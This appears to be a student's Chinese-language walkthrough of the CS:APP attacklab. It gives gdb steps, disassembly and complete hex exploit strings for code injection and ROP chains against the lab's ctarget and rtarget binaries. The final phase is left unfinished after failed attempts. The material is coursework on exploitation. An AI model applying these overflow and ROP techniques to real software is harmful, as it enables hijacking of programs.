实验简介
attacklab
共有关于缓冲区溢出攻击的5
个语句, 主要分类2
类攻击
-
phase 1~3
:code injection attacks
代码注入攻击./ctarget
-
phase 4~5
:return-oriented programming attacks
返回导向编程攻击./rtarget
实验前最好阅读README.txt
关于每个文件的介绍以及WRITEUP
中关于实验的详细介绍.
特别注意
WRITEUP
中特别强调, 对于自学者需要在运行程序时加入-q
选项, 避免程序试图向不存在的
评分服务器建立连接, 导致程序运行失败.
实验过程
Target Programs
可执行程序ctarget
和rtarget
均从标准输入读入字符串, 使用导致程序溢出的关键函数getbuf
.
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
getbuf
申请大小为BUFFER_SIZE
的缓冲区, 并调用与C
标准库函数gets
类似的函数Gets
,从标准
输入中读入字符直到'\n'
或文件结束,并存数参数指定的缓冲区位置,且不会检查字符串长度可能大于
BUFFER_SIZE
的情况.
如果我们输入的字符串长度小于BUFFER_SIZE
, 程序正常运行退出; 如果我们随意输入超过缓冲区大小的
字符串, 程序可能发生段错误segmentation fault
. 我们的任务是输入经过深思熟虑的字符串使得程序
执行更有趣的结果. 输入的字符被称为exploit strings
.
Important points
-
输入的
exploit strings
不能在中间输入0x0a
, 因为其ASSII
码为换号符'\n'
, 导致Gets
读取提前结束. -
hex2rax
程序需要按2
个16
进制值为1
组的方式读入, 且按字(8B
)读入时注意需要按小段顺序输入.
第一部分 code injection attacks
前3
个阶段我们输入的exploit strings
攻击目标是ctarget
, 其每次运行栈的位置不变, 我们可以很容易的找到程序在内存中的位置.
level 1
内容
第一阶段我们不会注入新的代码, 而是通过字符串重定向程序运行已有的函数.
ctarget
中test函数调用函数getbuf
, test
代码如下 :
void test()
{
int val;
val = getbuf(); //call
printf("No exploit. Getbuf returned 0x%x\n", val);
}
当getbuf
执行其返回语句时, 程序原本应执行test
调用buf
的下一个语句, 我们希望改变这一行为转而调用touch1
函数, 其C
代码如下
void touch1()
{
vlevel = 1; //part of validation protocol
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
我们的任务就是在getbuf
返回至touch1
而不是test
. 且这里不需要关心返回touch1
后的栈状态, 因为touch1
直接从程序中退出(exit(0)
).
思路
考虑汇编代码执行过程, getbuf
执行ret
指令后会从stack
中将返回地址放入%rip
继续执行. 所以我们
的任务实际上就是在exploit strings
的合适位置插入touch1的起始地址, 以替换stack
中test
的返回地址.
执行objdump -d ctarget > ctarget.s
将ctarget
汇编代码存入ctarget.s
文件中, 观察getbuf
的汇编代码.
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
...
根据命令可知栈的状态 :
所以我们只需输入40B
的任意字符(0x0a
除外), 接着输入touch1
的起始地址00000000004017c0
即可.
我们可以在exploit_hex.txt
中存入下面的字符
01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 /*任意输入 40B*/
c0 17 40 00 00 00 00 00 /*touch1首地址 注意是小端顺序*/
需要将16
进制值通过hex2raw
程序转换为二进制文件. 可以使用如下命令, 其中>
为重定向符号.
./hex2raw < exploit_hex.txt > exploit_raw.txt
接着运行ctarget
解决level1
.
./ctarget -q -i exploit_raw.txt
level 2
阶段2
需要你的exploit strings
包含一小段代码. ctarget
中的touch2
函数如下
void touch2(unsigned val)
{
vlevel = 2; //part of validation protocol
if (val == cookie)
{
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else
{
printf("Misfire: You called touch2(0x%.8x)\n", val); //misfire 失败
fail(2);
}
exit(0);
}
你的任务是让ctarget
执行touch2
的代码而不是返回test
. 在此基础上运行touch2
并传入你的cookie
作为参数.
建议
-
你需要在
exploit strings
合适的位置插入地址的字节形式, 在ret
指令执行后跳转至合适的位置 -
第一个参数存储在
%rdi
中 -
不要尝试用
jmp``或call
指令转移控制, 这些指令的目标地址的编码很难制定. 在想要跳转程序控制时全都使用ret
指令. -
将汇编代码
->
字节形式: (WRITEUP
中的Appendix B)
使用gcc
和objdump
工具. 例如我们编写了汇编代码example.s
:
# Example of hand-generated assembly code
pushq $0xabcdef # Push value onto stack
addq $17,%rax # Add 17 to %rax
movl %eax,%edx # Copy lower 32 bits to %edx
$\;\;$代码中包含指令和数据. #
右侧的字符作为注释.
$\;\;$我们可以汇编并反汇编example.s
文件
gcc -c example.s //得到.o文件
objdump -d example.o > example.d
生成的example.d
内容如下
example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00 pushq $0xabcdef
5: 48 83 c0 11 add $0x11,%rax
9: 89 c2 mov %eax,%edx
代码每行 :
左侧的16
进制值代表其起始地址(相对于0
), :
右侧16
进制字符表示对应汇编指令的字节形式.
思路
getbuf
汇编代码如下:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90
00000000004017ec <touch2>:
我们需要将cookie
值传入%rdi
, 所以需要插入一段可执行代码, 将cookie
值传入%rdi
, 并用touch2
的起始
地址覆盖%rsp
指向的值; 此外要在getbuf
执行ret
指令后跳转至我们插入的可执行代码的起始位置.
我们能完成这个攻击的前提是WRITEUP
中说明每次程序运行stack
的位置都不变, 且stack
中内容可以执行.
结合栈的状态代码形式应是 :
- 在合适位置输入可执行代码的起始位置. 在
getbuf
执行ret
后执行我们注入的代码.
- 执行代码, 设置
%rdi
并将%rsp
指向的内容设置为touch2
的返回地址, 在我们的代码执行ret
后将
%rsp
中的内容作为返回地址, 控制转移至touch2
.
首先写入我们的汇编代码, 注意其字节大小. cookie
值存储在cookie.txt
文件中.
movq $0x59b997fa, %rdi #mov cookie to rdi
movq $0x004017ec, (%rsp) #mov address of touch2 to rsp
ret
使用上述介绍的gcc
和objdump
工具得到code.d
:
code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 48 c7 04 24 ec 17 40 movq $0x4017ec,(%rsp)
e: 00
f: c3 retq nop
我们需要额外输入一些字符构成40B
大小, 并最后插入关键的%rsp
值(buf
起始地址,插入代码的起始地址). $\;\;$%rsp
的值可以用gdb
工具得到 :
gdb ctarget #执行gdb
break getbuf #在getbuf处设置断点
run -q #加-q选项
stepi #执行sub 0x28, %rsp
print /x $rsp #打印得到rsp的值.
得到%rsp = 0x5561dc78
.
将指令的16
进制形式写入文件中(注意指令本身就是按照小端顺序(低权重在低地址)在汇编文件中的). 并在
0x28~0x30
的位置放入可执行代码的起始地址(%rsp
). 注意真实文件中不带注释.
48 c7 c7 fa 97 b9 59 48
c7 04 24 ec 17 40 00 c3 /*指令的字节形式*/
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 /*无用字节 可任意写入*/
78 dc 61 55 00 00 00 00 /*rsp的值 即可执行代码的起始地址*/
level 3
阶段3
仍需要我们插入一段可执行代码, 此时需要传入字符串作为参数.
ctarget
中存在函数hexmatch
和touch3
, C
格式如下
/*Compare string to hex represention of unsigned value*/
int hexmatch(undigned val, char *sval)
{
char cbuf[110];
/*Make position of check string unpredictable*/
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; //part of validation protocol
if( hexmatch(cookie, sval) )
{
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
}
else
{
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
我们的任务是在getbuf
返回后执行touch3
而不是test
, 并传入对应的字符串参数.
建议
-
输入字符串中需要包含
cookie
的字符串形式, 由8
个16
进制值组成(按最高权重->
最低顺序)且没有起始的0x
. -
字符串在
C
中是以0
结尾的字节序列. 在linux
中输入man ascii
可以看到字符对应的ascii
码. -
你的注入代码需要将
%rdi
的值设置为字符串的首地址. -
当
hexmatch
和strncmp
函数被调用时, 它们会在栈上push
数据, 重写getbuf
使用的栈内存, 所以需要注意cookie
字符串形式的存储位置.
思路
-
首先需要得到
cookie
的字符串形式,cookie
值为0x59b997fa
, 按照WRITEUP
中的建议, 按高权重到低权重
每个数值对应的assii
码为:35 39 62 39 39 37 66 61
. -
接着我们需要考虑这串字节序列存放在哪. 为防止
hexmatch
和strncmp
函数破坏内容, 将其存放在
hexmatch
栈帧的上方, 并将其位置传入%rdi
. -
最后在我们已经熟悉的
test
返回地址的位置放入我们熟悉的注入代码的起始位置.
错误尝试
自己尝试时, 因为hexmatch
和strncmp
函数会将栈向下扩展可能会破坏我们存储的cookie
, 所以我们可以将
其存在栈帧的上方. 所以编写了下面的代码
leaq -24(%rsp), %rdi
subq 32, %rsp
movq $0x004018fa, (%rsp)
ret
预期栈状态
(在level2
栈状态图有一个错误, 在getbuf
执行ret
指令后, %rsp
会将其内容赋值给%rip
并向上移动一个单位.)
但我执行了n
次每次都发生了setmentation faul
t, 还不知道为嘛. 看了一位大佬的代码: 直接用地址赋给%rdi
和%rsp
(和我代码实现的功能等价),并分别在对应位置存储cookie
和touch3
的地址.
这里cookie
的高地址需要以00
作为字符结尾, 对应代码如下
movq $0x5561dc90, %rdi
movq $0x5561dc88, %rsp
ret
最后的指令的字节形式如下(真实运行时无注释)
48 c7 c7 90 dc 61 55 48
c7 c4 88 dc 61 55 c3 00 /*汇编代码的字节形式*/
fa 18 40 00 00 00 00 00/*0x5561dc88 存储touch3的起始地址*/
35 39 62 39 39 37 66 61/*0x5561dc88 存储cookie对应字符的字节形式*/
00 00 00 00 00 00 00 00 /*第一个字符是00作为cookie的结尾*/
78 dc 61 55 00 00 00 00 /*getbuf返回值对应%rsp位置 存储注入代码的起始地址*/
第二部分 return-oriented programming 返回导向编程攻击
基于可执行代码rtarget
的第二部分更加困难, 因为其使用了两种对抗缓冲区攻击的技术
-
栈随机化
stack randimization
在每次程序执行时栈的位置都不同, 所以我们不能像之前一样知道我们
注入代码的位置 -
限制可执行代码区域, 将栈内存空间设置为不可执行, 所以即使我们让程序跳转至我们的注入代码
也无法执行(会导致segmentation fault
)
幸运的是, 存在一种聪明的策略可以让我们执行现有的代码而不是注入新代码(栈的位置无法预测,但指令的位置
是静态可查到的). 最常见的方式被称为返回导向编程攻击return-oriented programming
(ROP).
ROP采用的策略是在已有代码中抽取一个或多个以ret
为结尾的指令, 这样的代码段被称为gadget
.
上图展示了执行一系列gadget
对应栈的状态, 栈中存储gadget
序列对应地址, 每个gadget
以
0xc3
(ret
指令的字节形式)结尾. 当程序执行ret
指令并能跳转至上图栈状态的起始处后,
程序将执行这一系列gadget
代码.
我们可以利用一个gadget
执行由编译器编译得到的汇编代码, 特别是在函数结尾处的部分代码(接近ret
). 在实际汇编代码中存在一些有用的指令, 但还不足以实现很多重要的操作. 比如一个在ret
之前执行popq %rdi
的函数是很难遇见的. 幸运的是, 面向字节的指令集(如x86-64
)允许我们以一个指令的中部
开始执行从而被解释为其他指令.
例如rtarget
中存在C
函数
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
在我们攻击系统的过程中使用这个函数的概率是很小的, 但我们可以观察其对应的汇编字节序列
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
字节序列48 89 c7
被解释为movq %rax, %rdi
(下面有各种movq
指令对应的字节序列). 这个字节序列以ret
结尾, 原指令起始地址为0x400f15
,以第4
个字节作为起始处,所以字节序列的起始地址为0x400f18
,执行了一个更为有用
的指令.
rtarget
中存在被称为gadget fram
的一段区域包含一系列类似于setval_210
的函数. 我们的任务是从中找到可以使用的gadget
以完成类似我么不做过的攻击操作.
注意 : gadget farm
在rtarge
t从start_fram
到end_fram
作为区域界限. 不要尝试在这之外的代码作为我们的gadget
.
level 2
WEITEUP中给出一些指令和寄存器的16
进制字节形式.
对于阶段4
, 我们将要重复阶段2
的攻击, 不同的是使用在rtarget
的gadget
实现. 我们可以使用包含下图指令并只能使用x86-64
的前8
个寄存器(%rax-%rdi
).
建议
-
所有你需要的
gadget
都可以在start_fram
到end_fram
函数中找到. -
你可以仅用
2
个gadgets
实现这个攻击. -
当
gadget
使用popq
指令时会从栈中弹出数据, 所以你的exploit string
需要包含指令和数据.
思路
我们需要将cookie
的值传入%rdi
, 所以一定有以%rdi
作为目标寄存器的mov
/pop
指令. 根据图可知,
mov
指令均以(48) 89 xx
的字节顺序, 以%rdi
为结尾的只有(规定函数中不存在pop %rax
的字节序)
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
48 89 c7
对应指令movq %rax, %rdi
. 所以现在的任务是将数据传入%rax
, 这里应该是用pop
指令将
我们传入栈的cookie
弹出放入%rax
中, 对应字节序为58
, 其中一个为
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
所以指令应为popq %rax; ret
; movq %rax, %rdi; ret
; 分别是我们的gadget1
和gadget2
.
栈的状态应该为
对应的字节序列(运行时没有注释)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /*getbuf的栈帧*/
ab 19 40 00 00 00 00 00 /*gadet1的起始地址 pop %rax*/
fa 97 b9 59 00 00 00 00 /*cookie*/
c5 19 40 00 00 00 00 00 /*gadget2的起始地址 mov %rax, %rdi*/
ec 17 40 00 00 00 00 00 /*touch2的起始地址*/
level 3
在开始阶段5之前, 先暂停考虑一下目前为止我们实现了什么. 在阶段2和
阶段3中, 我们控制程序执行自己设计的代码. 如果ctarget运行在一个network server上, 我们可以将
自己的代码注入远程机器上. 在阶段4, 我们规避了两个现代机器常用的对抗传冲区溢出攻击的技术. 我们没有注入自己的代码而是能够让机器执行一系列
被我们串在一起的已有代码.
阶段5你需要对rtarget进行返回导向编程攻击使其执行touch3且其参数为指向cookie的指针. 这好像不比阶段4难
多少, 除非作者想这么干.
为解决阶段5, 我们同样可以使用start_fram-end_fram的代码. 除我们在阶段4使用的指令外, 阶段5我们还会使用movl指令, 2字节的nops指令(no operations 啥都不做, 只改变%rip的值), 以及andb %al,%al指令, 对寄存器低字节操作但没有改变寄存器的值.
建议
-
回忆对寄存器低4字节操作的movl指令的效果.
-
官方解答包含8个gadgets.(并不是每个都只有1种选择)
思路
尝试1
在调用touch3之前我们需要存储cookie在栈种并且将其地址传给%rdi. 而由阶段4可知以%rdi
作为目标寄存器的只有[HTML_REMOVED]:内的指令48 89 c7
对应指令movq %rax, %rdi
.
所以现在我们的目的寄存器变为%rax. 大致的数据传递如图
接着寻找源寄存器为%rsp的mov指令. 观察上mov指令的字节序列发现其特点是(48) 89 e0-e7. 在rtarget
中搜索89 e字节序列仅有48 89 e0对应指令movq %rsp, %rax; 将%rsp的指向位置传给%rax. 但此外我们还需要
一个pop指令使得%rsp指令上移跳过cookie, 否则会将cookie作为返回地址.
但苦苦寻找没发现对应的字节序列, 所以暂时想有没有其他想法.
尝试2
接着想到在getbuf函数运行时%rdi作为其栈帧的栈顶指针, 指向buf的首地址. 可否将cookie存储在buf首地址处,
且为了防止hexmatch函数向下扩展的栈破坏buf数据, 用8个不做任何事的gadgets将%rsp上移.
正为自己不错的想法沾沾自喜时, 没想到执行成功调用touch3但%rdi对应地址的字符串与cookie值不等.
运行gdb调试后发现在getbuf调用Gets后%rdi的值就被修改了. 且在getbuf返回前没有寄存器指向buf的首地址.
cool